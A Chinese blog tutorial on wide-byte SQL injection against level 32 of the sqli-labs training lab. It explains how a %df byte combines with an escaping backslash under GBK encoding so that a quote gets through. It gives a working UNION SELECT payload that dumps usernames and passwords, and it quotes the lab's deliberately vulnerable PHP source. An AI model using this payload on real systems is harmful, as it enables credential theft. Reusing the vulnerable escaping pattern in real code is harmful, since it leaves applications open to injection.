渗透之sql注入---宽字节注入

@菜鸟小小

已于 2024-05-10 13:54:11 修改

阅读量455

点赞数 8

文章标签： sql 数据库

于 2024-05-09 20:52:50 首次发布

本文链接：https://blog.csdn.net/qq_64302290/article/details/138630172

版权

注入具体值：http://sqli-labs:8084/less-32/?id=-1%df%27union%20select%201,group_concat(username,0x3a,password),3%20%20from%20%20users--+

宽字节注入原理：

宽字节注入就是在对用户输入进行处理时，将编码方式改变，当某些关键字符被过滤（转义）时，我们可以使用其他的编码在被转义的字符前面，这样就可以组成一个新的字符从而来实现绕过。

实战：

本次的实战在sql靶场上的第32关进行操作。

源码分析：

关键代码：

通过我们的分析可知：我们输入的单双引号被替换为了反斜线。gbk中反斜线的编码为:%5C

utf-8编码被换为gbk，并且容纳2字节。%df%5c恰好可以组成一个汉子的编码（运的编码）。所以我们可以使用这个来绕过。

function check_addslashes($string)
{
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash
    $string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash
    $string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslash
      
    
    return $string;
}


if(isset($_GET['id']))
{
$id=check_addslashes($_GET['id']);
//echo "The filtered request is :" .$id . "<br>";

//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 
//这里将utf-8编码转化为gbk了。
//utf-8一般容纳3个字节，gbk一般容纳2个字节
mysql_query("SET NAMES gbk"); //这里突然间转化了编码，变成了gbk编码，
//而gbk编码为两个字节，%df%5c恰好可以组成一个汉字，而汉字占2个字节，所以可以实现逃逸单引号
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo '<font color= "#00FF00">';	
  	echo 'Your Login name:'. $row['username'];
  	echo "<br>";
  	echo 'Your Password:' .$row['password'];
  	echo "</font>";
  	}
	else 
	{
	echo '<font color= "#FFFF00">';
	print_r(mysql_error());
	echo "</font>";  
	}